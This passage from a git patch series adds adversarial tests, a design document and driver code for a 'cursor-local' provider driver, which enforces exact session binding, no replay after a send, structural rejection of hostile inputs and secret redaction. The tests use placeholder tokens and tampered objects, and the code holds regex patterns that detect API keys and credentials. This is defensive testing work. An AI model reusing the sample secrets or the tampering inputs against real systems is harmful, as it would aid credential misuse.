dshFixture], + ['grok envelope', grokFixture], + ['foreign model envelope', foreignModel], + ['foreign base sha envelope', wrongBase], + ]) { + const foreignRequest = buildDriverOperationRequestV1('preflight', foreign.envelope); + expectCode(() => context.bound.preflight(foreignRequest), undefined, + `${label} is refused by exact binding`); + } + + // A different child envelope digest over the same lane identity is stale. + expectCode(() => context.created.controls.readEvidence({ + schema: CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest.split('') + .map((c, i) => (i === 3 ? (c === '0' ? '1' : '0') : c)).join(''), + }), 'unknown_lane', 'a flipped digest never resolves to the lane'); + + const truncated = { + ...evidenceRequest(), + envelope_text: fixture.envelope_text.slice(0, -2), + }; + expectCode(() => context.created.controls.readEvidence(truncated), + undefined, 'tampered envelope text is refused by the strict parse'); +}); + +test('replay and fallback are impossible after a possible send', () => { + const uncertain = create('ambiguous_send'); + uncertain.bound.preflight(uncertain.request('preflight')); + assert.equal(uncertain.bound.launch(uncertain.request('launch')).disposition, + 'dispatch_uncertain'); + expectCode(() => uncertain.bound.launch(uncertain.request('launch')), 'replay_denied', + 'a possibly-sent prompt is never sent twice'); + assert.equal(uncertain.stub.state.sends, 1, 'exactly one dispatch attempt happened'); + + // Foreign keys on real requests are refused before any state change. + const dispatched = create('happy'); + dispatched.bound.preflight(dispatched.request('preflight')); + const foreignKeys = [ + ['fallback', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['relaunch_attempts', 1, 'unknown_key'], + ]; + for (const [key, value, code] of foreignKeys) { + const tampered = { + schema: 'codex-co-engineer.driver-launch.v1', + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + [key]: value, + }; + assert.throws(() => dispatched.bound.launch(tampered), (error) => + error instanceof RunContractV1Error && error.code === code, + `foreign key ${key} must be refused with ${code}`); + } + assert.equal(dispatched.stub.state.spawnCalls, 0, + 'refused requests never reach the transport'); +}); + +test('pre-spawn not_sent stays distinct from post-spawn dispatch_uncertain', () => { + const spawnFailed = create('spawn_failure'); + spawnFailed.bound.preflight(spawnFailed.request('preflight')); + const notSentSpawn = spawnFailed.bound.launch(spawnFailed.request('launch')); + assert.equal(notSentSpawn.disposition, 'not_sent'); + assert.equal(notSentSpawn.detail_code, 'spawn_unavailable'); + assert.equal(typeof notSentSpawn.detail_message, 'string'); + assert.ok(!notSentSpawn.detail_message.includes(SECRET_BEARER_TOKEN), + 'the transport failure message never leaks'); + assert.equal(spawnFailed.stub.state.sends, 0, 'no dispatch follows a failed spawn'); + expectCode(() => spawnFailed.bound.reconcile(spawnFailed.request('reconcile')), + 'not_dispatched', 'reconcile cannot invent a dispatch'); + expectCode(() => spawnFailed.bound.cancel(spawnFailed.request('cancel')), + 'not_dispatched', 'cancel cannot invent a dispatch'); + // A pre-write send failure is still honestly not_sent. + const preWrite = create('pre_write_failure'); + preWrite.bound.preflight(preWrite.request('preflight')); + const notSentWrite = preWrite.bound.launch(preWrite.request('launch')); + assert.equal(notSentWrite.disposition, 'not_sent'); + assert.equal(notSentWrite.detail_code, 'dispatch_not_written'); + expectCode(() => preWrite.bound.reconcile(preWrite.request('reconcile')), 'not_dispatched', + 'nothing was written, so there is nothing to reconcile'); + + // Post-spawn uncertainty is distinct: no detail pair, reconcile allowed. + const ambiguous = create('ambiguous_send'); + ambiguous.bound.preflight(ambiguous.request('preflight')); + const uncertain = ambiguous.bound.launch(ambiguous.request('launch')); + assert.equal(uncertain.disposition, 'dispatch_uncertain'); + assert.equal(uncertain.detail_code, undefined, + 'dispatch_uncertain carries no detail pair'); + const observed = ambiguous.bound.reconcile(ambiguous.request('reconcile')); + assert.ok(['in_progress', 'terminal'].includes(observed.disposition), + 'reconcile may correlate the possibly-dispatched lane'); +}); + +test('uncorrelated sessions are never bound anywhere', () => { + const lostSession = create('session_lost'); + lostSession.bound.preflight(lostSession.request('preflight')); + lostSession.bound.launch(lostSession.request('launch')); + expectCode(() => lostSession.bound.reconcile( + lostSession.request('reconcile', { include: INCLUDE_ALL }), + ), 'uncorrelated_session', 'a corrupted binding echo is refused'); + const stillCancellable = lostSession.bound.cancel(lostSession.request('cancel')); + assert.equal(stillCancellable.disposition, 'cancel_confirmed', + 'cancellation keeps addressing the exact original session'); + assert.equal(stillCancellable.run_id, fixture.run_id); + expectCode(() => lostSession.created.controls.submitAttentionReply({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-unrelated-77', + question_id: 'q-any', + answer_text: 'nope', + }), 'no_attention_question', 'an unrelated session has no outstanding question here'); + + const wrongEcho = create('wrong_binding_echo'); + wrongEcho.bound.preflight(wrongEcho.request('preflight')); + wrongEcho.bound.launch(wrongEcho.request('launch')); + expectCode(() => wrongEcho.bound.reconcile(wrongEcho.request('reconcile')), + 'uncorrelated_session', 'a substituted binding digest is refused'); +}); + +test('lying transports produce content-free typed failures only', () => { + const observeBomb = create('observe_throws'); + observeBomb.bound.preflight(observeBomb.request('preflight')); + observeBomb.bound.launch(observeBomb.request('launch')); + expectCode(() => observeBomb.bound.reconcile( + observeBomb.request('reconcile', { include: INCLUDE_ALL }), + ), 'observe_failed', 'a throwing observation fails closed without leaking stderr'); + + const sendBomb = create('send_getter_bomb'); + sendBomb.bound.preflight(sendBomb.request('preflight')); + const receipt = sendBomb.bound.launch(sendBomb.request('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain', + 'unclassifiable send failures become honest post-spawn uncertainty'); + assert.ok(!receipt.disposition.includes('boom')); + + const getterCounter = { reads: 0 }; + const poisoned = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: { + availability: () => ({ available: true }), + cancel: () => ({}), + observe: () => ({}), + reply: () => ({}), + send: () => ({}), + spawn: () => { + const result = { session_id: 'sess-x', binding_digest: 'sha256:x' }; + Object.defineProperty(result, 'binding_digest', { + enumerable: true, + get() { + getterCounter.reads += 1; + return 'sha256:x'; + }, + }); + return result; + }, + }, + }); + const poisonedBound = bindProviderDriverV1(poisoned.driver, poisoned.declaration); + poisonedBound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + expectCode(() => poisonedBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'accessor_property_denied', 'getter-bearing spawn results are refused structurally'); + assert.equal(getterCounter.reads, 0, 'result getters are never invoked'); +}); + +test('promise-returning transports fail closed instead of hiding an ambiguous send', () => { + const asyncTransport = {}; + for (const method of ['availability', 'cancel', 'observe', 'reply', 'send', 'spawn']) { + asyncTransport[method] = async () => ({}); + } + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: asyncTransport, + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + const preflightRequest = buildDriverOperationRequestV1('preflight', fixture.envelope); + assert.equal(bound.preflight(preflightRequest).disposition, 'blocked', + 'async availability is treated as unavailable'); +}); + +test('signature recombination across chunks and reconciliations is prevented', () => { + const context = create('secret_chunks'); + context.bound.preflight(context.request('preflight')); + context.bound.launch(context.request('launch')); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const drained = context.created.controls.readEvidence(evidenceRequest()); + const allText = drained.events.map((segment) => segment.text).join('\u0001'); + assert.equal(allText.includes('[REDACTED]'), true, 'signatures were redacted wholesale'); + assert.equal(allText.includes('sk-live-9988776655443322'), false, + 'the split bearer token never recombines across calls'); + assert.equal(allText.includes(SECRET_SPLIT_TAIL.replace(/^ve-/, '')), false, + 'the split token body is absent'); + assert.equal(allText.includes('AKIAIOSFODNN7EXAMPLE'), false, 'aws-shaped keys are redacted'); + assert.equal(allText.includes('super-secret-value-1234567890'), false, + 'key/value assignments are redacted'); + assert.equal(/Bearer\s+[A-Za-z0-9]/u.test(allText), false, + 'bearer signatures are redacted even in fragments'); + for (const segment of drained.events) { + assert.ok(segment.bytes <= MAX_EVIDENCE_SEGMENT_BYTES, 'segment byte bound holds'); + assert.ok(Buffer.byteLength(segment.text, 'utf8') === segment.bytes, + 'byte accounting is UTF-8 accurate'); + assert.equal(Buffer.from(segment.text, 'utf8').toString('utf8'), segment.text, + 'segments survive a UTF-8 round trip intact'); + } +}); + +test('multi-byte characters survive bounding without corruption', () => { + const emoji = '\u{1F600}'.repeat(4000); // ~16000 bytes, one segment boundary + let getterRuns = 0; + const stub = createCursorLocalTransportStub('happy'); + const originalObserve = stub.transport.observe; + stub.transport.observe = (request) => { + const result = originalObserve(request); + if (Array.isArray(request.include) && request.include.includes('live_progress')) { + const withoutEvents = { ...result }; + delete withoutEvents.events; + return { ...withoutEvents, progress_text: emoji }; + } + return result; + }; + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: stub.transport, + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { include: INCLUDE_ALL })); + created.controls.readEvidence(evidenceRequest()); + // Drive to terminal to flush the window, then check every segment is valid UTF-8. + bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)); + const drained = created.controls.readEvidence(evidenceRequest()); + assert.ok(drained.total_bytes > 0, 'flushed evidence exists'); + for (const segment of drained.events) { + assert.equal(segment.text.includes('\uFFFD'), false, + 'truncation never introduces replacement characters'); + assert.equal(Buffer.from(segment.text, 'utf8').toString('utf8'), segment.text, + 'every bounded segment round trips as valid UTF-8'); + } + assert.equal(getterRuns, 0); +}); + +test('bound overflow sets truncated and drops further input silently', () => { + const context = create('flood'); + context.bound.preflight(context.request('preflight')); + context.bound.launch(context.request('launch')); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const drained = context.created.controls.readEvidence(evidenceRequest()); + assert.equal(drained.truncated, true, 'overflow is reported as truncated'); + assert.ok(drained.total_bytes <= MAX_LANE_EVIDENCE_BYTES, 'lane byte cap holds exactly'); + assert.ok(drained.events.length <= MAX_EVIDENCE_EVENTS, 'event count cap holds'); + const allText = drained.events.map((segment) => segment.text).join(''); + assert.equal(allText.includes('sk-live-abcdef0123456789'), false, + 'even flooded evidence stays redacted'); +}); + +test('hostile control requests stay inside the content-free quarantine', () => { + const context = create('happy'); + dispatch(context); + const replyBase = () => ({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-local-1', + question_id: 'q-attn-1', + answer_text: 'Approved.', + }); + + let getterRuns = 0; + const accessorReply = replyBase(); + delete accessorReply.answer_text; + Object.defineProperty(accessorReply, 'answer_text', { + enumerable: true, + get() { + getterRuns += 1; + return 'Approved.'; + }, + }); + expectCode(() => context.created.controls.submitAttentionReply(accessorReply), + 'accessor_property_denied', 'accessor replies are denied'); + assert.equal(getterRuns, 0, 'reply getters are never invoked'); + + expectCode(() => context.created.controls.submitAttentionReply(new Proxy(replyBase(), {})), + 'proxy_denied', 'proxied replies are denied'); + const cyclic = replyBase(); + cyclic.self = {}; + cyclic.self.self = cyclic.self; + expectCode(() => context.created.controls.submitAttentionReply(cyclic), + 'aliased_reference_denied', 'cyclic replies are denied'); + const aliased = replyBase(); + const shared = { lane: 1 }; + aliased.extra = shared; + expectCode(() => context.created.controls.submitAttentionReply({ ...aliased, extra2: shared }), + 'aliased_reference_denied', 'aliased replies are denied inside the same quarantine'); + let depth = { v: 0 }; + for (let index = 0; index < 40; index += 1) depth = { nested: depth }; + expectCode(() => context.created.controls.submitAttentionReply( + { ...replyBase(), answer_text: depth }, + ), 'value_depth_exceeded', 'oversized depth is denied'); + expectCode(() => context.created.controls.readEvidence( + new Proxy(evidenceRequest(), {}), + ), 'proxy_denied', 'proxied evidence requests are denied'); +}); + +test('terminal receipts keep exact identity under repetition and hostile echoes', () => { + const context = create('happy'); + dispatch(context); + const first = context.bound.reconcile(context.request('reconcile')); + const second = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach' })); + const identityOf = (receipt) => ({ + run_id: receipt.run_id, assignment_id: receipt.assignment_id, + lane_index: receipt.lane_index, base_sha: receipt.base_sha, + child_envelope_digest: receipt.child_envelope_digest, + }); + assert.deepEqual(identityOf(first), identityOf(second), + 'identity is preserved across state changes'); + const third = context.bound.reconcile(context.request('reconcile')); + assert.deepEqual( + { ...identityOf(second), disposition: second.disposition }, + { ...identityOf(third), disposition: third.disposition }, + 'latched reconciles repeat the identical terminal receipt', + ); + const cancelReceipt = context.bound.cancel(context.request('cancel')); + assert.equal(cancelReceipt.disposition, 'already_terminal'); + assert.equal(cancelReceipt.run_id, fixture.run_id); + assert.equal(cancelReceipt.child_envelope_digest, fixture.child_envelope_digest); +}); From 997fba8b53c5dc9053d77cac5f5b0c85343583d7 Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sun, 23 Aug 2026 17:37:01 +0000 Subject: [PATCH 69/81] docs(provider): specify the cursor-local driver reconstruction Document the P19 cursor-local driver: exact provenance binding over the P17 ProviderDriverV1 contract, the one-spawn/one-acknowledged-dispatch lifecycle with distinct not_sent and dispatch_uncertain outcomes, attempt-once same-session attention replies, cancel/reattach/terminal- latch identity rules, persistent-window evidence redaction and UTF-8 byte bounds, the content-free structural quarantine shared by every surface, and the explicit non-goals (no direct-mode widening, supervisor/registry/ server cutover, durable store, or live qualification). --- docs/cursor-local-driver.md | 147 ++++++++++++++++++++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 docs/cursor-local-driver.md diff --git a/docs/cursor-local-driver.md b/docs/cursor-local-driver.md new file mode 100644 index 0000000..0212d00 --- /dev/null +++ b/docs/cursor-local-driver.md @@ -0,0 +1,147 @@ +# Cursor Local driver (P19) + +- Status: reconstructed against the accepted P17 driver contract + (`ProviderDriverV1`, ADR 0001 identifiers `exact_identities`, + `no_post_dispatch_fallback_or_replay`, `bounded_evidence`, + `gate_a_no_duplicate_dispatch`, + `gate_a_decision_or_attention_no_silent_unanswerable`). +- Scope: additive only. No existing module, surface, receipt, or legacy + 3.2.1 single-task behavior changed. +- Qualification: offline only. Nothing here runs a live Cursor Local CLI, + network, cloud service, or repository egress. + +## What ships + +`plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs` exposes: + +- `createCursorLocalDriverV1(options)` — binds an injected local session + transport to the four-operation `ProviderDriverV1` lifecycle and returns + `{ schema, version, provider, declaration, driver, controls }`. `driver` + is bindable with the P17 `bindProviderDriverV1(driver, declaration)`. +- `describeCursorLocalDriverV1()` — a frozen description of the closed + surface. It claims no transports of its own (`transports: []`), no + relaunch operations, no direct mode (`direct_mode: []`), no durable + store, and exactly the managed local worktree / `run_base_sha` + workspace posture. +- Closed constants for option keys, transport methods, control schemas, + bounds, vocabularies, and the redaction marker. + +The transport is a seam of six plain concrete functions — `availability`, +`spawn`, `send`, `observe`, `cancel`, `reply` — supplied by the host. The +driver owns none of them, spawns nothing itself, and performs no I/O. + +## Exact binding + +Every operation request must carry the exact compiled ChildEnvelopeV1 text +plus its raw lowercase 64-hex digest (digest-only launches are denied by +the P17 validators this module calls). On top of that proof the driver +requires, per lane: + +- `execution.provider` equal to `cursor-local` — unresolved (`-`) slots and + every other provider are refused; +- `execution.model` present and equal to the bound `model` option — omitted + models are never derived, near-misses never substitute; +- `repository.base_sha` equal to the bound `run_base_sha` option — the run + base never moves; managed local worktrees only; +- one lane identity per `(run_id, assignment_id)`; a different child + envelope digest on the same lane is refused as stale identity. + +A lane binding digest (`provider-run-identity.v1`) is computed over the +full provenance tuple and echoed by every transport result; echoes are +compared constant-time. A result that fails to echo the exact binding, or +a different live session id, is rejected as `uncorrelated_session`. + +## Lifecycle + +- **preflight** asks the transport whether the local Cursor route is + available. It never spawns and never sends. `blocked` carries the closed + detail pair; blocked lanes refuse launch forever. +- **launch** spawns at most once and dispatches at most once, ever. The + `dispatched` disposition requires the transport's authoritative + acknowledgement. A spawn failure stays pre-spawn `not_sent`; only the + explicit closed code `pre_write_failure` keeps a post-spawn failure in + honest `not_sent`; every other send failure after a successful spawn is + reported as `dispatch_uncertain`. There is no retry, resend, replay, + merge, fallback, or relaunch surface anywhere in the module. +- **reconcile** observes the exact spawned session with `observe` or + `restart_reattach` intent. Unsupported declared features fail closed. + Statuses map to `in_progress`, `unresolved_attention`, and `terminal`; + the terminal latch repeats identical receipts without contacting the + transport again. +- **cancel** addresses the exact original session. `confirmed` latches the + terminal state; `requested` keeps observing until the provider settles; + a terminal lane answers `already_terminal` without a transport call. + +## Same-session attention replies + +`controls.submitAttentionReply(request)` answers an outstanding attention +question inside the same live session. The reply is attempt-once: the +one-shot budget is consumed before the transport is touched, so a lying or +throwing transport can never earn a second attempt. It is bound to the +exact session id, question id, and bounded answer text; mismatches are +refused without consuming the budget or reaching the transport. An +unsupported reply posture refuses explicitly (`reply_unsupported`) before +any lane or transport contact and never starts a new prompt instead. Note +that the accepted P05 capability bridge pins `cursor-local` to +`live_session_reply`, so contradictory declarations fail at construction. + +## Bounded, redacted evidence + +All host-visible text — progress lines, event chunks, question text, and +the terminal flush — flows through one persistent per-lane redaction window +and then through UTF-8 byte bounds (8 KiB per segment, 64 segments, 64 KiB +per lane; answers up to 16 KiB). The window holds back a bounded tail so a +Bearer, Basic, API-key/token assignment, `sk-`/`ghp_`/AKIA-shaped token, +credential, or long hex envelope-digest signature split across leaves, +chunks, events, or reconciliations recombines only inside the window and +is redacted there before any host-visible byte exists. Overflow sets +`truncated` and drops further input silently; bounding failures are never +errors. Sub-window tails become visible at the terminal latch flush. +Segments cut on multi-byte boundaries round trip as valid UTF-8. + +`controls.readEvidence(request)` drains frozen segments with exact UTF-8 +byte accounting; draining is stable and non-consuming. + +## Content-free quarantine + +Options, both control requests, and every transport result pass through +one content-free structural quarantine built from the accepted P05/P17 +closures plus the P17 request/result validators: live and revoked Proxies, +accessors (getters/setters), symbols, non-enumerables, own `undefined`, +exotic prototypes, sparse arrays, cycles, aliases, unknown keys, and +oversized depth are all rejected without running any caller code — getters +and proxy traps never execute. Transport failures are classified through a +plain own-data-property read of a closed code vocabulary only; everything +else becomes honest post-spawn uncertainty. Every error surface — +preflight, spawn, dispatch, observe, cancel, reattach, reply, identity, +extra-key, validation — throws typed `RunContractV1Error`s whose codes, +paths, and messages carry fixed templates only: hostile names and values +never escape into anything host-visible. + +## Non-goals + +No direct-mode widening; no supervisor, registry, server, or durable-store +cutover; no scheduler; no protected-ref mutation; no merge authority; no +create-PR path; no provider transport compiled into the module; no live +Cursor Local qualification in this slice; no change to legacy 3.2.1 +single-task behavior or public receipt compatibility. + +## Testing + +Offline coverage lives beside the module: + +- `test/r1-cursor-local-driver.test.mjs` — lifecycle, identity echo, + one-spawn/one-ack dispatch, reply attempt-once, cancel/reattach/latch, + evidence bounds. +- `test/r1-cursor-local-driver-adversarial.test.mjs` — hostile inputs, + substitution, replay, uncorrelated sessions, recombination, overflow, + content-free error surfaces. +- `test/fixtures/r1-cursor-local-transport.mjs` — scripted transport stubs; + no real CLI, network, or repository is touched. + +Run from `plugins/codex-co-engineer`: + +``` +node --no-warnings --test test/r1-cursor-local-driver.test.mjs \ + test/r1-cursor-local-driver-adversarial.test.mjs +``` From 03b6d3b1856e725d915dbfc19e8c8fdace0b5a98 Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sun, 23 Aug 2026 17:39:09 +0000 Subject: [PATCH 70/81] fix(provider): close the option quarantine and session-correlation seam Drive the option quarantine to full content-free closure: symbol-keyed and non-enumerable own properties on driver options are now rejected explicitly, and unknown-key refusals no longer echo the hostile property name into codes, paths, or messages. The scripted transport gains a correlation-loss scenario whose observation reports a reborn session id, proving the lane refuses to bind an uncorrelated session while cancellation still addresses the exact original one. --- .../mcp/v3/cursor-local-driver.mjs | 193 +++++++-- .../fixtures/r1-cursor-local-transport.mjs | 4 +- ...1-cursor-local-driver-adversarial.test.mjs | 399 +++++++++++++++++- .../test/r1-cursor-local-driver.test.mjs | 1 - 4 files changed, 553 insertions(+), 44 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs index 7890952..46e17eb 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs @@ -14,8 +14,11 @@ // substitute; // - at most one spawn and at most one prompt dispatch per lane; the // `dispatched` disposition requires the transport's authoritative -// acknowledgement; a pre-send spawn failure stays `not_sent` and is -// kept strictly distinct from post-spawn `dispatch_uncertain`; +// acknowledgement; after a successful spawn launch never throws — a +// pre-send spawn failure stays `not_sent`, a pre-write send failure is +// `not_sent` only once a confirmed teardown proves no session survives, +// and every other post-spawn failure (missing or thrown +// acknowledgement included) is honest `dispatch_uncertain`; // - same-session attention replies are attempt-once and bound to the // exact session, question, and answer; an unsupported reply posture // refuses explicitly without touching the transport; @@ -27,7 +30,8 @@ // token, Bearer, API-key, envelope-digest, and prompt signatures // cannot recombine across leaves, chunks, events, or reconciliations; // - every error surface is closed and content-free: hostile names and -// values never appear in codes, paths, or messages; +// values never appear in codes, paths, or messages, and every transport +// result must carry exactly its operation's closed key vocabulary; // - managed local worktrees and run_base_sha only: no direct-mode // widening, supervisor/registry/server cutover, durable store, or // protected-ref mutation. Legacy 3.2.1 behavior and public receipts @@ -44,6 +48,7 @@ import { capturedIncludes, capturedIsArray, capturedJoin, + capturedOwnKeys, capturedTest, capturedUtf8ByteLength, } from './grammar.mjs'; @@ -93,6 +98,22 @@ export const CURSOR_LOCAL_TRANSPORT_METHODS = capturedFreeze([ 'availability', 'cancel', 'observe', 'reply', 'send', 'spawn', ]); +// Closed allowed-key vocabularies for every transport result. A result +// carrying any key outside its operation's vocabulary is rejected before a +// single value is inspected, so hostile extra keys (and their names and +// values) can never reach an error surface or a host-visible field. +export const CURSOR_LOCAL_TRANSPORT_RESULT_KEYS = capturedFreeze({ + availability: capturedFreeze(['available']), + spawn: capturedFreeze(['binding_digest', 'session_id']), + send: capturedFreeze(['acknowledged', 'binding_digest', 'session_id']), + observe: capturedFreeze([ + 'binding_digest', 'events', 'progress_text', 'question', 'session_id', + 'status', + ]), + cancel: capturedFreeze(['binding_digest', 'outcome', 'session_id']), + reply: capturedFreeze(['answered', 'binding_digest', 'session_id']), +}); + export const CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID = 'codex-co-engineer.cursor-local-evidence-request.v1'; export const CURSOR_LOCAL_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.cursor-local-evidence.v1'; @@ -144,6 +165,8 @@ const SIGNATURE_PATTERNS = capturedFreeze([ /\b(?:sk|xai)-[A-Za-z0-9_-]{8,}\b/giu, /\b(?:gh[pousr]|github_pat)_[A-Za-z0-9_-]{8,}\b/giu, /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/giu, + /\bsha256:[0-9a-f]{64}\b/giu, + /\b[0-9a-f]{64}\b/giu, /\b(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key)(?:\s*[:=]\s*)\s*(?:"[^"]*"|'[^']*'|[^\s,;&'"]+)/giu, ]); @@ -310,17 +333,26 @@ function requireExactString(source, key, path, pattern, code) { return value; } -function readTransportResult(result, path) { +function readTransportResult(result, path, allowedKeys) { // One structural quarantine for every transport result: proxies, // accessors, symbols, non-enumerables, exotic prototypes, sparse arrays, // cycles, aliases, and unknown shapes are rejected without running any - // caller code, before a single field is read. + // caller code, before a single field is read. The closed allowed-key + // vocabulary is enforced BEFORE the deep walk, so an extra key is + // rejected content-free no matter how hostile its name, shape, or value + // is; no descriptor of an out-of-vocabulary value is ever taken. if (result === null || result === undefined) { fail('invalid_transport_result', path, 'The transport returned no result object.'); } assertNotProxy(result, path); - assertDirectJsonClosure(result, path); assertPlainObject(result, 'invalid_transport_result', path, path); + for (const key of Object.keys(result)) { + if (!capturedIncludes(allowedKeys, key)) { + fail('invalid_transport_result', path, + 'The transport result carries a key outside the closed schema.'); + } + } + assertDirectJsonClosure(result, path); return result; } @@ -424,14 +456,17 @@ function quarantineControlRequest(request, allowedKeys, schemaId, path) { fail('invalid_type', path, `${path} must be a plain request object.`); } assertNotProxy(request, path); - assertDirectJsonClosure(request, path); assertPlainObject(request, 'invalid_type', path, path); + // Extra keys are rejected BEFORE the deep closure walk: an unknown key is + // refused content-free (fixed code, fixed path, fixed message), so a + // hostile key name never enters an error surface and no descriptor, + // getter, or proxy trap of its value is ever touched. for (const key of Object.keys(request)) { if (!capturedIncludes(allowedKeys, key)) { - fail('unknown_key', `${path}.${key}`, - `${path} carries a key outside the closed schema.`); + fail('unknown_key', path, `${path} carries a key outside the closed schema.`); } } + assertDirectJsonClosure(request, path); for (const key of allowedKeys) { if (!hasOwn(request, key)) { fail('missing_key', `${path}.${key}`, `${path}.${key} is required; nothing is derived.`); @@ -496,8 +531,8 @@ function requireFeature(declaration, feature, path) { const DETAIL_MESSAGES = freezeData({ dispatch_not_written: freezeData({ detail_code: 'dispatch_not_written', - detail_message: 'The transport guaranteed that no prompt bytes were written; ' - + 'nothing reached the provider.', + detail_message: 'The transport guaranteed that no prompt bytes were written and ' + + 'confirmed the session teardown; nothing reached the provider.', }), spawn_unavailable: freezeData({ detail_code: 'spawn_unavailable', @@ -527,9 +562,30 @@ export function createCursorLocalDriverV1(options) { // closure. Neither pass ever invokes caller code. assertNotProxy(options, path); assertPlainObject(options, 'invalid_type', path, path); + let optionOwnKeys; + try { + optionOwnKeys = capturedOwnKeys(options); + } catch { + fail('invalid_type', path, 'Option keys could not be inspected safely.'); + } + for (const key of optionOwnKeys) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', `${path}[symbol]`, + `${path} carries a symbol-keyed property; options are direct data only.`); + } + } + // Hostile property NAMES never appear in codes, paths, or messages: the + // closed templates below carry no caller-derived text at all. + for (const key of optionOwnKeys) { + const descriptor = capturedDescriptor(options, key); + if (!descriptor || !descriptor.enumerable) { + fail('non_enumerable_property_denied', path, + `${path} carries a non-enumerable own property; options are plain data.`); + } + } for (const key of Object.keys(options)) { if (!capturedIncludes(CURSOR_LOCAL_OPTION_KEYS, key)) { - fail('unknown_key', `${path}.${key}`, `${path} carries a key outside the closed option set.`); + fail('unknown_key', path, `${path} carries a key outside the closed option set.`); } } for (const key of ['declaration', 'model', 'run_base_sha', 'transport']) { @@ -706,6 +762,41 @@ export function createCursorLocalDriverV1(options) { return receipt; } + // Post-spawn launch failures never throw. A session spawned by the + // transport may still be live, and only a confirmed teardown before the + // return can prove otherwise; every unproven case is therefore reported + // as dispatch_uncertain with the exact lane identity intact. + function uncertainDispatch(lane, view, request) { + lane.phase.sendUncertain = true; + lane.state = 'dispatch_uncertain'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, + ); + } + + // The one path out of live-session classification: cancel the exact + // spawned session and accept only a well-formed confirmed result that + // echoes the exact binding digest and session id. Anything else — a + // throw, a lie, a malformed result, an unconfirmed outcome — leaves the + // classification honestly uncertain. + function confirmTeardown(lane) { + const cancelRequest = freezeData({ + binding_digest: lane.bindingDigest, + session_id: lane.phase.sessionId, + }); + const teardownOutcome = callTransport(transportMethods, 'cancel', cancelRequest); + if (!teardownOutcome.ok) return false; + try { + const tornDown = readTransportResult(teardownOutcome.value, + 'driver.launch.teardown.result', CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.cancel); + if (!digestsEqual(optOwn(tornDown, 'binding_digest'), lane.bindingDigest)) return false; + if (optOwn(tornDown, 'session_id') !== lane.phase.sessionId) return false; + return optOwn(tornDown, 'outcome') === 'confirmed'; + } catch { + return false; + } + } + const driver = {}; capturedDefineProperty(driver, 'preflight', { @@ -736,7 +827,8 @@ export function createCursorLocalDriverV1(options) { request, declaration, ); } - const availability = readTransportResult(outcome.value, 'driver.preflight.availability.result'); + const availability = readTransportResult(outcome.value, 'driver.preflight.availability.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.availability); const available = optOwn(availability, 'available'); if (available !== true && available !== false) { fail('invalid_transport_result', 'driver.preflight.availability.result.available', @@ -788,10 +880,24 @@ export function createCursorLocalDriverV1(options) { request, declaration, ); } - const spawned = readTransportResult(spawnOutcome.value, 'driver.launch.spawn.result'); - const sessionId = requireExactString(spawned, 'session_id', 'driver.launch.spawn.result', - SESSION_ID_PATTERN, 'invalid_transport_result'); - requireBindingEcho(spawned, lane.bindingDigest, 'driver.launch.spawn.result'); + let sessionId; + try { + const spawned = readTransportResult(spawnOutcome.value, 'driver.launch.spawn.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.spawn); + sessionId = requireExactString(spawned, 'session_id', 'driver.launch.spawn.result', + SESSION_ID_PATTERN, 'invalid_transport_result'); + requireBindingEcho(spawned, lane.bindingDigest, 'driver.launch.spawn.result'); + } catch { + // The transport returned from spawn, so a session may be live and + // its result is unusable. Never throw past a successful spawn: mark + // the one spawn as spent (no respawn, no fallback) and report + // dispatch_uncertain with the exact lane identity. + lane.phase.spawned = true; + 